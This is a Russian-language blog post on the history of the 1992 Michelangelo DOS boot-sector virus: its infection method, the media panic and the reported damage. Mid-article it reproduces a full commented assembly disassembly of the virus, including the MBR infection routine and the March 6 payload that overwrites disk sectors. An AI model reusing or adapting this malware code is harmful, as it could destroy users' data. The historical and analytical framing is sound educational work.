Вирусу Микеланджело — 30 лет

94ea5408d6d73f232a3cb4a9dffab542.jpg

Michelangelo — первое вредоносное ПО, которое получило широкую огласку в новостных СМИ. Одним из первых его заметил владелец компьютерного магазина в австралийском Мельбурне. После установки нескольких программ на мониторе появилось большое количество странных символов. Дальнейшее расследование показало, что он невольно загрузил вирус в систему. 6 марта 1992 года вирус активировался, перезаписав данные на жёстком диске компьютеров, которые были заражены.

Исследователи выяснили, что Michelangelo заражал загрузочные сектора гибких дискет и жёстких дисков. Интересно, что весь год DOS-вирус вёл себя пассивно, вредя людям только 6 марта. Если компьютер в этот день был выключен, с ним ничего не происходило. Каждый год в этот день при загрузке инфицированной системы «Микеланджело» записывал произвольные данные в случайном порядке на диск и тем самым выводил компьютер из строя. Поскольку 6 марта — день рождения великого художника эпохи Возрождения Микеланджело, вирус был назван в его честь. Другие его названия: Stoned.March6.a и Stoned.Michelangelo

Никто так и не узнал, кто написал вирус. Предполагается, что он появился где-то на Тайване, но убедительных доказательств этому так и не было. Выяснилось, что Michelangelo уничтожает загрузочные сектора дисков, что, в свою очередь, приводит к уничтожению данных на диске и жёстком диске компьютера.

Принцип работы

«Микеланджело» — вирус загрузочного сектора, разновидность вредоносного ПО, которое заражает загрузочный сектор жёсткого диска или, что более важно, основную загрузочную запись (MBR) жёсткого диска. Вирус был разработан для заражения DOS систем и работал на уровне BIOS. Заразив компьютер AT или PS/2, Michelangelo перезаписывал первые сто секторов жёсткого диска нулями.

Микеланджело был основан на вирусе Stoned , который известен с 1987 года и также известен под названием Marijuana или New Zealand Virus. Код вируса был изменён, чтобы антивирусные программы не могли его распознавать.

При работе с заражённым носителем данных Микеланджело резервирует два килобайта системной памяти по адресу 40h: 13h. Затем код вируса копируется в эту область. При наличии жёсткого диска вирус считывает MBR и проверяет, не заражён ли он. Затем, Микеланджело сравнивает первые 4 байта главного загрузочного сектора с первыми байтами своего собственного кода. Если они не совпадают, вирус пытается заразить устройство.

  • На жёстких дисках вирус перемещает исходную главную загрузочную запись в цилиндр 0, головку 0, сектор 7.

  • На гибких дисках, если диск равен 360 КБ, вирус перемещает исходный загрузочный сектор в цилиндр 0, головку 1, сектор 3.

  • На других дисках вирус перемещает исходный загрузочный сектор в цилиндр 0, головку 1, сектор 14.

Хотя вирус предназначен для заражения DOS-систем, он может легко разрушить другие операционные системы, поскольку заражает главную загрузочную запись жёсткого диска. Как только компьютер заражается  любая вставленная дискета, на которую выполняется запись (в 1992 году вирус не мог заразить дискету до тех пор, пока не будет дан доступ к диску), также немедленно заражается. А поскольку вирус проводит большую часть своего времени в спящем состоянии, активируясь только 6 марта, вполне возможно, что заражённый компьютер мог годами оставаться незамеченным — до тех пор, пока не будет включён шестого марта.

Код Michelangelo

; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus.  The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus.  In any case, it is yet another boot sector
; and partition table infector.

michelangelo    segment byte public
		assume  cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
		org     0

		jmp     entervirus
highmemjmp      db      0F5h, 00h, 80h, 9Fh
maxhead         db      2                       ; used by damagestuff
firstsector     dw      3
oldint13h       dd      0C8000256h

int13h:
		push    ds
		push    ax
		or      dl, dl                  ; default drive?
		jnz     exitint13h              ; exit if not
		xor     ax, ax
		mov     ds, ax
		test    byte ptr ds:[43fh], 1   ; disk 0 on?
		jnz     exitint13h              ; if not spinning, exit
		pop     ax
		pop     ds
		pushf
		call    dword ptr cs:[oldint13h]; first call old int 13h
		pushf
		call    infectdisk              ; then infect
		popf
		retf    2
exitint13h:     pop     ax
		pop     ds
		jmp     dword ptr cs:[oldint13h]

infectdisk:
		push    ax
		push    bx
		push    cx
		push    dx
		push    ds
		push    es
		push    si
		push    di
		push    cs
		pop     ds
		push    cs
		pop     es
		mov     si, 4
readbootblock:
		mov     ax,201h                 ; Read boot block to
		mov     bx,200h                 ; after virus
		mov     cx,1
		xor     dx,dx
		pushf
		call    oldint13h
		jnc     checkinfect             ; continue if no error
		xor     ax,ax
		pushf
		call    oldint13h               ; Reset disk
		dec     si                      ; loop back
		jnz     readbootblock
		jmp     short quitinfect        ; exit if too many failures
checkinfect:
		xor     si,si
		cld
		lodsw
		cmp     ax,[bx]                 ; check if already infected
		jne     infectitnow
		lodsw
		cmp     ax,[bx+2]               ; check again
		je      quitinfect
infectitnow:
		mov     ax,301h                 ; Write old boot block
		mov     dh,1                    ; to head 1
		mov     cl,3                    ; sector 3
		cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
		je      is360Kdisk
		mov     cl,0Eh
is360Kdisk:
		mov     firstsector,cx
		pushf
		call    oldint13h
		jc      quitinfect              ; exit on error
		mov     si,200h+offset partitioninfo
		mov     di,offset partitioninfo
		mov     cx,21h                  ; Copy partition table
		cld
		rep     movsw
		mov     ax,301h                 ; Write virus to sector 1
		xor     bx,bx
		mov     cx,1
		xor     dx,dx
		pushf
		call    oldint13h
quitinfect:
		pop     di
		pop     si
		pop     es
		pop     ds
		pop     dx
		pop     cx
		pop     bx
		pop     ax
		retn
entervirus:
		xor     ax,ax
		mov     ds,ax
		cli
		mov     ss,ax
		mov     ax,7C00h                ; Set stack to just below
		mov     sp,ax                   ; virus load point
		sti
		push    ds                      ; save 0:7C00h on stack for
		push    ax                      ; later retf
		mov     ax,ds:[13h*4]
		mov     word ptr ds:[7C00h+offset oldint13h],ax
		mov     ax,ds:[13h*4+2]
		mov     word ptr ds:[7C00h+offset oldint13h+2],ax
		mov     ax,ds:[413h]            ; memory size in K
		dec     ax                      ; 1024 K
		dec     ax
		mov     ds:[413h],ax            ; move new value in
		mov     cl,6
		shl     ax,cl                   ; ax = paragraphs of memory
		mov     es,ax                   ; next line sets seg of jmp
		mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
		mov     ax,offset int13h
		mov     ds:[13h*4],ax
		mov     ds:[13h*4+2],es
		mov     cx,offset partitioninfo
		mov     si,7C00h
		xor     di,di
		cld
		rep     movsb                   ; copy to high memory
						; and transfer control there
		jmp     dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
		xor     ax,ax
		mov     es,ax
		int     13h                     ; reset disk
		push    cs
		pop     ds
		mov     ax,201h
		mov     bx,7C00h
		mov     cx,firstsector
		cmp     cx,7                    ; hard disk infection?
		jne     floppyboot              ; if not, do floppies
		mov     dx,80h                  ; Read old partition table of
		int     13h                     ; first hard disk to 0:7C00h
		jmp     short exitvirus
floppyboot:
		mov     cx,firstsector          ; read old boot block
		mov     dx,100h                 ; to 0:7C00h
		int     13h
		jc      exitvirus
		push    cs
		pop     es
		mov     ax,201h                 ; read boot block
		mov     bx,200h                 ; of first hard disk
		mov     cx,1
		mov     dx,80h
		int     13h
		jc      exitvirus
		xor     si,si
		cld
		lodsw
		cmp     ax,[bx]                 ; is it infected?
		jne     infectharddisk          ; if not, infect HD
		lodsw                           ; check infection
		cmp     ax,[bx+2]
		jne     infectharddisk
exitvirus:
		xor     cx,cx                   ; Real time clock get date
		mov     ah,4                    ; dx = mon/day
		int     1Ah
		cmp     dx,306h                 ; March 6th
		je      damagestuff
		retf                            ; return control to original
						; boot block @ 0:7C00h
damagestuff:
		xor     dx,dx
		mov     cx,1
smashanothersector:
		mov     ax,309h
		mov     si,firstsector
		cmp     si,3
		je      smashit
		mov     al,0Eh
		cmp     si,0Eh
		je      smashit
		mov     dl,80h                  ; first hard disk
		mov     maxhead,4
		mov     al,11h
smashit:
		mov     bx,5000h                ; random memory area
		mov     es,bx                   ; at 5000h:5000h
		int     13h                     ; Write al sectors to drive dl
		jnc     skiponerror             ; skip on error
		xor     ah,ah                   ; Reset disk drive dl
		int     13h
skiponerror:
		inc     dh                      ; next head
		cmp     dh,maxhead              ; 2 if floppy, 4 if HD
		jb      smashanothersector
		xor     dh,dh                   ; go to next head/cylinder
		inc     ch
		jmp     short smashanothersector
infectharddisk:
		mov     cx,7                    ; Write partition table to
		mov     firstsector,cx          ; sector 7
		mov     ax,301h
		mov     dx,80h
		int     13h
		jc      exitvirus
		mov     si,200h+offset partitioninfo ; Copy partition
		mov     di,offset partitioninfo      ; table information
		mov     cx,21h
		rep     movsw
		mov     ax,301h                 ; Write to sector 8
		xor     bx,bx                   ; Copy virus to sector 1
		inc     cl
		int     13h
;*              jmp     short 01E0h
		db      0EBh, 32h               ; ?This should crash?
; The following bytes are meaningless.
garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo:  db      42h dup (0)
michelangelo    ends
		end

Истерия в обществе

Поскольку опасность была вовремя обнаружена, «Микеланджело» не вызвал заметных проблем в год своего открытия. Постепенно он распространился по всему миру. Исследования в Европе показали, что вирус в основном распространялся через диски с драйверами для компьютерной техники из Восточной Азии, и по мере приближения 6 марта 1992 года среди владельцев и пользователей компьютеров царила нарастающая истерия. 

Это была бомба замедленного действия, которую легко было описать в новостях. И эта история стала идеальным сюжетом для запугивания публики. Принял участие в запугивании публики и Джон Макафи, который заявил в интервью, что сотни тысяч компьютеров по всему миру станут 6 марта жертвами Michelangelo.Совет по борьбе со зловредом был весьма необычным: пользователям рекомендовали не включать компьютер 6 марта или перевести дату сразу на седьмое марта.

53be562a4548ecca7f5953707b5be8e3.jpg

Хотя компьютеры в те времена были далеко не у всех, существовал большой спрос на детекторы вирусов и антивирусное ПО. Компьютерные магазины предлагали эти программы бесплатно, как и некоторые вузы. Гамбургский университет насчитал более 20 000 запросов на такие программы за несколько недель до 6 марта 1992 года. 

Особенно активно следили за происходящим в Германии и США. Федеральное управление по информационной безопасности (BSI) в период с 17 февраля 1992 г. по 1 марта 1992 г. приняло около 1000 звонков по общим и конкретным вопросам, касающимся компьютерных вирусов и антивирусных программ. Было вынесено официальное предупреждение об угрозе. В феврале 1992 года появилась инструкция по защите от Микеланджело.

b17fc7cdbab501dc64dc6340b1788208.gif

До «дня X» Michelangelo поразил 1300 компьютеров в ФРГ, но эксперты считают, что реальное число в 10 раз больше. Никто не знает, сколько ПК пострадало во всем мире. 6 марта 1992 г. утренние новости в Германии сообщили о первых инцидентах с вирусом в Уругвае. Системное время на некоторых военных компьютерах было установлено неправильно, поэтому полезная нагрузка Микеланджело сработала преждевременно. Также известно, что вирус вызвал потерю данных примерно на 1500 компьютерах в Германии. Сообщается, что в Великобритании пострадали 117 ПК. В Соединённых Штатах, где истерия была самой большой, зафиксировано около 7000 жалоб. McAfee сообщила о почти 10 000. В Южной Африке обнаружили около 1000 заражённых компьютеров в аптеках, который получали прейскуранты в электронном виде. Оптовик как обычно отправил им дискеты, которые оказались заражены вирусом.

В целом, панические настроения не оправдались, всё прошло относительно спокойно. Symantec AntiVirus Research Center утверждает, что после 6 марта 1992 года известно всего о двух случаях заражения компьютеров Michelangelo. По другим данным, в Германии зафиксировали 50 инцидентов с вирусом в 1993 году и менее 20 — в 1994 году.

«Микеланджело» не был первым компьютерным вирусом. Но стал первым, кто заставил широкую общественность узнать о хаосе, который могут вызвать вредоносные программы. Это событие стало мощным толчком к зарождению полноценной антивирусной индустрии. Например, компания McAfee привлекла инвестиции в размере 42 млн долларов, а владельцы компьютеров по всему миру бросились скупать антивирусные продукты McAfee.

P.S. Возможно, вы заметили, что в фильме «Хакеры» 1995 фигурирует вирус «Да Винчи» — название явно было отсылкой к Michelangelo.

Что ещё интересного есть в блоге Cloud4Y

→ История Game Genie — чит-устройства, которое всколыхнуло мир

→ Сделайте Linux похожим на Windows 95

→ Как не позволить техническому долгу одолеть вас

→ WD-40: средство, которое может почти всё

→ 30 лучших Python-проектов на GitHub на начало 2022 года

Подписывайтесь на наш Telegram-канал, чтобы не пропустить очередную статью. Пишем только по делу.

© Habrahabr.ru